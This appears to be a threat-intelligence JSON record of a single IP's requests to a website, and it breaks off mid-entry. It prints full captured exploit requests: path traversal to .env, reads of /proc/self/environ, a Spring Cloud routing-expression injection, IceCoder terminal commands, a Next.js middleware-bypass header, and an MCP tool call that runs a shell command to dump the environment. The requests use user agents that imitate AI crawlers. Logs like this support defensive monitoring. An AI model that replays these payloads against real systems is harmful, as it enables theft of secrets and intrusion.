{"ip":"104.23.175.91","total_events":29,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"13 exploit-path hits","confidence":"high","network_type":"CDN","why":["13 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 87,041 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"87,041 bytes sent","bytes_sent":87041,"session_seconds":13,"persistent":false}},"first_seen":"2026-09-24T02:31:03","last_seen":"2026-09-24T02:31:19","events_24h":29,"events_7d":29,"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"Singapore","lat":1.2872,"lon":103.8507,"asn":13335,"org":"Cloudflare, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as13335","label":"Cloudflare","category":"cdn","url":"https://www.peeringdb.com/asn/13335"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":29}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1312h2_a44d0ee8b3cc_e381dae6da6b"],"tls_client_hello":"1603010200010001fc0303b87e4ac1eb01a82e09b62c227e145cf117eae7f6e9d3b91ddf35475c2bad39a42056e35d054b2c1f758edeba8d7069ae3deeec4317520abfd6346c87e263af32d7001a130113021303c02bc02cc02fc030c013009c009d002f0035000a01000199000000160014000011736974652e7072696e636875622e636f6d00170000ff01000100000a0010000e001d00170018001911ec6399fe32000b00020100002300000010000e000c02683208687474702f312e31000d0018001609040403080404010503080505010806060102010603003300260024001d00205e3e432f1e03ad8c4894008a45947f3f7fac934063081f4b6962e518019d3857002d00020101002b0009080304030303020301001500e90000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","tls_ja3":["67560f98d68783bd640246df3052c151"],"http_akin":["a11cun149_0000004f_217619cb","a11cuq137_0000064e_394946cc","a11cun259_001ce87f_446f233d","a11cun149_0000004f_e820a938","a11cun117_0000004e_41f1a22f"]},"fingerprint_peers":{"a11cun149_0000004f_e820a938":6,"a11cun117_0000004e_41f1a22f":2,"t13d1312h2_a44d0ee8b3cc_e381dae6da6b":78,"a11cun149_0000004f_217619cb":7,"a11cuq137_0000064e_394946cc":3,"a11cun259_001ce87f_446f233d":2},"akin_families":{"a11cun149_0000004f_217619cb":{"head":"a11cun149_0000004f_217619cb","shapes":3,"ips":7},"a11cuq137_0000064e_394946cc":{"head":"a11cuq137_0000064e_394946cc","shapes":2,"ips":3},"a11cun149_0000004f_e820a938":{"head":"a11cun149_0000004f_217619cb","shapes":3,"ips":7},"a11cun117_0000004e_41f1a22f":{"head":"a11cun149_0000004f_217619cb","shapes":3,"ips":7}},"user_agents":["Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)","Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)"],"timeline":[{"date":"2026-09-24","count":29}],"recent_events":[{"timestamp":"2026-09-24T02:31:19","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.187.246.147\",\"cf-ipcountry\":\"SG\",\"cf-ray\":\"a3fe5f48fe0e7156-SIN\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"35\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"35.187.246.147\",\"x-forwarded-proto\":\"https\"}","body":"{\"templateFile\":\"../../../../.env\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/templates/preview","summary":"","payload_hex":"504f5354202f6170692f74656d706c617465732f7072657669657720485454502f312e310d0a782d666f727761726465642d666f723a2033352e3138372e3234362e3134370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a636f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6f6f6e73686f74426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a63662d7261793a20613366653566343866653065373135362d53494e0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3138372e3234362e3134370d0a43462d4950436f756e7472793a2053470d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2033350d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2274656d706c61746546696c65223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"eb28142b-7e50-428f-be00-d61917fb14a5","seq":7,"duration_ms":2262,"bytes_in":3656,"bytes_out":546},{"timestamp":"2026-09-24T02:31:19","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.187.246.147\",\"cf-ipcountry\":\"SG\",\"cf-ray\":\"a3fe5f4acbb47156-SIN\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"4\",\"content-type\":\"text/plain\",\"host\":\"site.princhub.com\",\"spring.cloud.function.routing-expression\":\"T(java.lang.System).getenv()\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)\",\"x-forwarded-for\":\"35.187.246.147\",\"x-forwarded-proto\":\"https\"}","body":"test","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/functionRouter","summary":"","payload_hex":"504f5354202f66756e6374696f6e526f7574657220485454502f312e310d0a782d666f727761726465642d666f723a2033352e3138372e3234362e3134370d0a636f6e6e656374696f6e3a204b6565702d416c6976650d0a636f6e74656e742d747970653a20746578742f706c61696e0d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a737072696e672e636c6f75642e66756e6374696f6e2e726f7574696e672d65787072657373696f6e3a2054286a6176612e6c616e672e53797374656d292e676574656e7628290d0a63662d7261793a20613366653566346163626234373135362d53494e0d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d536561726368426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3138372e3234362e3134370d0a43462d4950436f756e7472793a2053470d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a20340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a74657374","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","ja3":"67560f98d68783bd640246df3052c151","session":"eb28142b-7e50-428f-be00-d61917fb14a5","seq":8,"duration_ms":2555,"bytes_in":4214,"bytes_out":624},{"timestamp":"2026-09-24T02:31:18","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.187.246.147\",\"cf-ipcountry\":\"SG\",\"cf-ray\":\"a3fe5f41cf3c7156-SIN\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"34\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"35.187.246.147\",\"x-forwarded-proto\":\"https\"}","body":"{\"file_path\":\"/proc/self/environ\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/designer/v1/file-content","summary":"","payload_hex":"504f5354202f6170692f64657369676e65722f76312f66696c652d636f6e74656e7420485454502f312e310d0a782d666f727761726465642d666f723a2033352e3138372e3234362e3134370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a636f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d692d536561726368426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a63662d7261793a20613366653566343163663363373135362d53494e0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3138372e3234362e3134370d0a43462d4950436f756e7472793a2053470d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2033340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c655f70617468223a222f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"eb28142b-7e50-428f-be00-d61917fb14a5","seq":4,"duration_ms":1115,"bytes_in":2120,"bytes_out":312},{"timestamp":"2026-09-24T02:31:18","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.187.246.147\",\"cf-ipcountry\":\"SG\",\"cf-ray\":\"a3fe5f43fe247156-SIN\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"34\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)\",\"x-forwarded-for\":\"35.187.246.147\",\"x-forwarded-proto\":\"https\"}","body":"command=env&password=bypass&csrf=x","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/lib/terminal-xhr.php","summary":"","payload_hex":"504f5354202f6c69622f7465726d696e616c2d7868722e70687020485454502f312e310d0a782d666f727761726465642d666f723a2033352e3138372e3234362e3134370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a636f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d557365722f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a63662d7261793a20613366653566343366653234373135362d53494e0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3138372e3234362e3134370d0a43462d4950436f756e7472793a2053470d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2033340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a636f6d6d616e643d656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","ja3":"67560f98d68783bd640246df3052c151","session":"eb28142b-7e50-428f-be00-d61917fb14a5","seq":5,"duration_ms":1463,"bytes_in":2661,"bytes_out":390},{"timestamp":"2026-09-24T02:31:18","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.187.246.147\",\"cf-ipcountry\":\"SG\",\"cf-ray\":\"a3fe5f46ae4c7156-SIN\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"34\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)\",\"x-forwarded-for\":\"35.187.246.147\",\"x-forwarded-proto\":\"https\"}","body":"command=env&password=bypass&csrf=x","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/icecoder/lib/terminal-xhr.php","summary":"","payload_hex":"504f5354202f696365636f6465722f6c69622f7465726d696e616c2d7868722e70687020485454502f312e310d0a782d666f727761726465642d666f723a2033352e3138372e3234362e3134370d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20446565705365656b426f742f312e303b202b68747470733a2f2f7777772e646565707365656b2e636f6d2f290d0a636f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a636f6e74656e742d747970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a63662d7261793a20613366653566343661653463373135362d53494e0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3138372e3234362e3134370d0a43462d4950436f756e7472793a2053470d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2033340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a636f6d6d616e643d656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","ja3":"67560f98d68783bd640246df3052c151","session":"eb28142b-7e50-428f-be00-d61917fb14a5","seq":6,"duration_ms":1891,"bytes_in":3175,"bytes_out":468},{"timestamp":"2026-09-24T02:31:17","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.187.246.147\",\"cf-ipcountry\":\"SG\",\"cf-ray\":\"a3fe5f3828b47156-SIN\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\",\"x-forwarded-for\":\"35.187.246.147\",\"x-forwarded-proto\":\"https\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/inngest","summary":"","payload_hex":"44454c455445202f696e6e6765737420485454502f312e310d0a782d666f727761726465642d666f723a2033352e3138372e3234362e3134370d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c4167656e742f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a63662d7261793a20613366653566333832386234373135362d53494e0d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3138372e3234362e3134370d0a43462d4950436f756e7472793a2053470d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a636f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"DELETE","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"67560f98d68783bd640246df3052c151","session":"eb28142b-7e50-428f-be00-d61917fb14a5","seq":1,"duration_ms":100,"bytes_in":436,"bytes_out":78},{"timestamp":"2026-09-24T02:31:17","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.187.246.147\",\"cf-ipcountry\":\"SG\",\"cf-ray\":\"a3fe5f3daa697156-SIN\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"34\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)\",\"x-forwarded-for\":\"35.187.246.147\",\"x-forwarded-proto\":\"https\"}","body":"{\"file_path\":\"/proc/self/environ\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/read-document","summary":"","payload_hex":"504f5354202f726561642d646f63756d656e7420485454502f312e310d0a782d666f727761726465642d666f723a2033352e3138372e3234362e3134370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a636f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204272617665626f742f312e303b202b68747470733a2f2f62726176652e636f6d2f7365617263682f290d0a63662d7261793a20613366653566336461613639373135362d53494e0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3138372e3234362e3134370d0a43462d4950436f756e7472793a2053470d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2033340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c655f70617468223a222f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","ja3":"67560f98d68783bd640246df3052c151","session":"eb28142b-7e50-428f-be00-d61917fb14a5","seq":2,"duration_ms":452,"bytes_in":914,"bytes_out":156},{"timestamp":"2026-09-24T02:31:17","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.187.246.147\",\"cf-ipcountry\":\"SG\",\"cf-ray\":\"a3fe5f3fe95d7156-SIN\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"168\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot\",\"x-forwarded-for\":\"35.187.246.147\",\"x-forwarded-proto\":\"https\"}","body":"{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"sandbox.execute_shell\",\"arguments\":{\"command\":\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\"}}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/mcp","summary":"","payload_hex":"504f5354202f6d637020485454502f312e310d0a782d666f727761726465642d666f723a2033352e3138372e3234362e3134370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a636f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33363b20636f6d70617469626c653b204f41492d536561726368426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f736561726368626f740d0a63662d7261793a20613366653566336665393564373135362d53494e0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3138372e3234362e3134370d0a43462d4950436f756e7472793a2053470d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a203136380d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b226a736f6e727063223a22322e30222c226964223a312c226d6574686f64223a22746f6f6c732f63616c6c222c22706172616d73223a7b226e616d65223a2273616e64626f782e657865637574655f7368656c6c222c22617267756d656e7473223a7b22636f6d6d616e64223a22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c227d7d7d","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot","ja3":"67560f98d68783bd640246df3052c151","session":"eb28142b-7e50-428f-be00-d61917fb14a5","seq":3,"duration_ms":810,"bytes_in":1630,"bytes_out":234},{"timestamp":"2026-09-24T02:31:16","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.187.246.147\",\"cf-ipcountry\":\"SG\",\"cf-ray\":\"a3fe5f3588727156-SIN\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)\",\"x-forwarded-for\":\"35.187.246.147\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/pages/api/index.astro.mjs.map","summary":"","payload_hex":"474554202f70616765732f6170692f696e6465782e617374726f2e6d6a732e6d617020485454502f312e310d0a782d666f727761726465642d666f723a2033352e3138372e3234362e3134370d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613366653566333538383732373135362d53494e0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b207841492d47726f6b2f312e303b202b68747470733a2f2f782e61692f290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3138372e3234362e3134370d0a43462d4950436f756e7472793a2053470d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a636f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"b03cfd18-adb1-4769-b575-b94396237162","seq":4,"duration_ms":1333,"bytes_in":2608,"bytes_out":312},{"timestamp":"2026-09-24T02:31:16","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.187.246.147\",\"cf-ipcountry\":\"SG\",\"cf-ray\":\"a3fe5f35c92b7156-SIN\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)\",\"x-forwarded-for\":\"35.187.246.147\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/css../.env","summary":"","payload_hex":"474554202f6373732e2e2f2e656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033352e3138372e3234362e3134370d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20476f6f676c652d457874656e6465643b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a6163636570743a202a2f2a0d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613366653566333563393262373135362d53494e0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3138372e3234362e3134370d0a43462d4950436f756e7472793a2053470d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a636f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Google-Extended; 